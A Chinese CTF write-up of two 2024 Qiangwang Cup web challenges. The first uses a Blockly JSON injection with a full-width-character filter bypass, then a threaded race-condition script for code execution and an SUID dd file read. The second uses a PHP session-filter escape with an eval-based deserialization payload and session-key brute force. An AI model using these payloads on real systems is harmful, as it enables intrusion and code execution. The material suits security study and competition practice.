强网杯预赛WP

发布于 2024-11-11  980 次阅读


强网杯预赛wp

当时去打省赛了,省赛回来直接摸鱼()

PyBlock

题目是一个拼积木执行代码
image_mak
审计block_to_python发现可以通过next字段配合TEXT可以给run.py写入代码

if 'next' in block:
    block = block['next']['block']
    code += "\n" + block_to_python(block) + "\n"
elif block_type == 'text':
    if check_for_blacklisted_symbols(block['fields']['TEXT']):
        code = ''
    else:
        code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
{
    "blocks": {
        "blocks": [{
            "next": {
                "block": {
                    "type": "text",
                    "fields": {
                        "TEXT": "123"
                    }
                }
            },
            "type": "print",
            "inputs": {
                "TEXT": {
                    "block": {
                        "type": "text",
                        "fields": {
                            "TEXT": "a"
                        }
                    }
                }
            }
        }]
    }
}

发现成功写入:


def my_audit_hook(event_name, arg):
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

print('a')
'123'

逃逸引号的话有黑名单限制:

blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"

用全角字符绕即可,最终写入文件的仍然是半角

最后还需要绕个hook:

def do(source_code):
    hook_code = '''
def my_audit_hook(event_name, arg):
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

'''
    print(source_code)
    code = hook_code + source_code
    tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
    try:
        if verify_secure(tree):
            with open("run.py", 'w') as f:
                f.write(code)
            result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
            return result
        else:
            return "Execution aborted due to security concerns."
    except:
        return "Timeout!"

限制了时间长度大于4的事件,只有open可以执行,那么可以条件竞争来覆盖写入我们要执行的代码,让他执行:

import threading

import requests

def sendp():
    json = {"blocks":{"blocks":[{"next":{"block":{"type":"text","fields":{"TEXT":"'+open('run.py','w').write("print(__import__('os').popen('ls /').read())")+'"}}},"type":"print","inputs":{"TEXT":{"block":{"type":"text","fields":{"TEXT":"a"}}}}}]}}
    res = requests.post("http://127.0.0.1:5000/blockly_json", json=json,proxies={"http":"http://127.0.0.1:8080"})
    print(res.text)
def sendp1():
    json = {"blocks":{"blocks":[{"next":{"block":{"type":"text","fields":{"TEXT":"'+open('run.py','w').write("print(__import__('os').popen('ls /').read())")+'"}}},"type":"print","inputs":{"TEXT":{"block":{"type":"text","fields":{"TEXT":"a"}}}}}]}}
    res = requests.post("http://127.0.0.1:5000/blockly_json", json=json,proxies={"http":"http://127.0.0.1:8080"})
    print(res.text)
#
if __name__ == "__main__":
    for i in range(100):
        threading.Thread(target=sendp).start()
        threading.Thread(target=sendp1).start()

弹shell,查suid:

/bin/su
/bin/ls
/bin/dd
/bin/mount
/bin/umount
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh

使用dd提权即可:

dd if=/flag

platform

最后一分钟本地做出来了,但是平台卡的要死,来不及打远程,服了
www.zip泄露了源码,注意到构造session的时候会把黑名单文本替换为空,可借此逃逸打session反序列化:

public function filterSensitiveFunctions() {
    $sessionFile = $this->getSessionFilePath();

    if (file_exists($sessionFile)) {
        $sessionData = file_get_contents($sessionFile);

        foreach ($this->sensitiveFunctions as $function) {
            if (strpos($sessionData, $function) !== false) {
                $sessionData = str_replace($function, '', $sessionData);
            }
        }
        file_put_contents($sessionFile, $sessionData);

        return "Sensitive functions have been filtered from the session file.";
    } else {
        return "Session file not found.";
    }
}

也提供了给我们利用的class:

class notouchitsclass {
    public $data;

    public function __construct($data) {
        $this->data = $data;
    }

    public function __destruct() {
        eval($this->data);
    }
}

因此可传入:
username=evalevalevalevalevalevalevalevalevaleval&password=;password|O:15:"notouchitsclass":1:{s:4:"data";s:17:"evevalal($_GET['a']);";}
这样如果sessionkey是一个三个字符的字串,就会构造session文件为:

user|s:40:"";session_key|s:3:"ABC";password|s:24:";password|O:15:"notouchitsclass":1:{s:4:"data";s:17:"eevalval($_GET['a']);";}

替换eval为空,而user类的s仍为40,造成逃逸从而反序列化我们给的password字段:

user|s:40:"";session_key|s:3:"ABC";password|s:24:";password|O:15:"notouchitsclass":1:{s:4:"data";s:17:"eval($_GET['a']);";}

至于sessionkey

    $length = rand(1, 50);

    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';

    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }

只要一直爆破直到生成的key长度为3即可

A web ctfer from 0RAYS
最后更新于 2024-11-11